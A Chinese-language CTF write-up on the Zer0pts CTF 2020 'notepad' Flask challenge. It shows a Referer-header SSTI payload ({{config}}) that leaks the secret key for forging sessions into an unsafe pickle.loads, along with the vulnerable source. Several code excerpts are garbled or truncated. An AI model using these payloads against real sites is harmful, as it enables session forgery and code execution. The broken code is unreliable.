Zer0pts CTF 2020的web赛后记录+复现环境

前言

打了Zer0pts CTF 2020感觉题目不错就总结一下。

复现环境地址：

https://gitlab.com/zer0pts/zer0pts-ctf-2020/

 

0x01 notepad 1.题目源码：

...省略...


app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
bootstrap = flask_bootstrap.Bootstrap(app)


@app.route('/', methods=['GET'])
def index():
    return notepad(0)


@app.route('/note/', methods=['GET'])
def notepad(nid=0):
    data = load()


    if not 0  16: return False # Referer may be also 404


    return True


def load():
    """ Load saved notes """
    try:
        savedata = flask.session.get('savedata', None)
        data = pickle.loads(base64.b64decode(savedata))
    except:
        data = [{"date": now(), "text": "", "title": "*New Note*"}]


    return data
...省略...

2.方法一：

处理404页面的page_not_found()函数存在模板注入：

@app.errorhandler(404)
def page_not_found(error):
    """ Automatically go back when page is not found """
    referrer = flask.request.headers.get("Referer")


    if referrer is None: referrer = '/'
    if not valid_url(referrer): referrer = '/'


    html = '404 Not FoundPage not found. Redirecting...'.format(referrer)


    return flask.render_template_string(html), 404

referer可控，但是限制了长度。所以利用这里的SSTI可以读取一些配置，但是不能直接RCE。

GET /404 HTTP/1.1
Host: 192.168.0.107:8001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.107:8001/?{{config}}
Connection: close
Upgrade-Insecure-Requests: 1

响应的结果如下：

HTTP/1.0 404 NOT FOUND
Content-Type: text/html; charset=utf-8
Content-Length: 1631
Server: Werkzeug/0.16.0 Python/3.7.3rc1
Date: Wed, 18 Mar 2020 17:25:11 GMT


404 Not FoundPage not found. Redirecting...

得到的secret_key

为b'E\xdd\xdb\xdb\xb0\x00w.\xafD=\x12\xed\xf6!\xea'，因此我们可以伪造session的值。

第二个洞是python反序列化：

...
import pickle
...
@app.route('/note/', methods=['GET'])
def notepad(nid=0):
    data = load()


    if not 0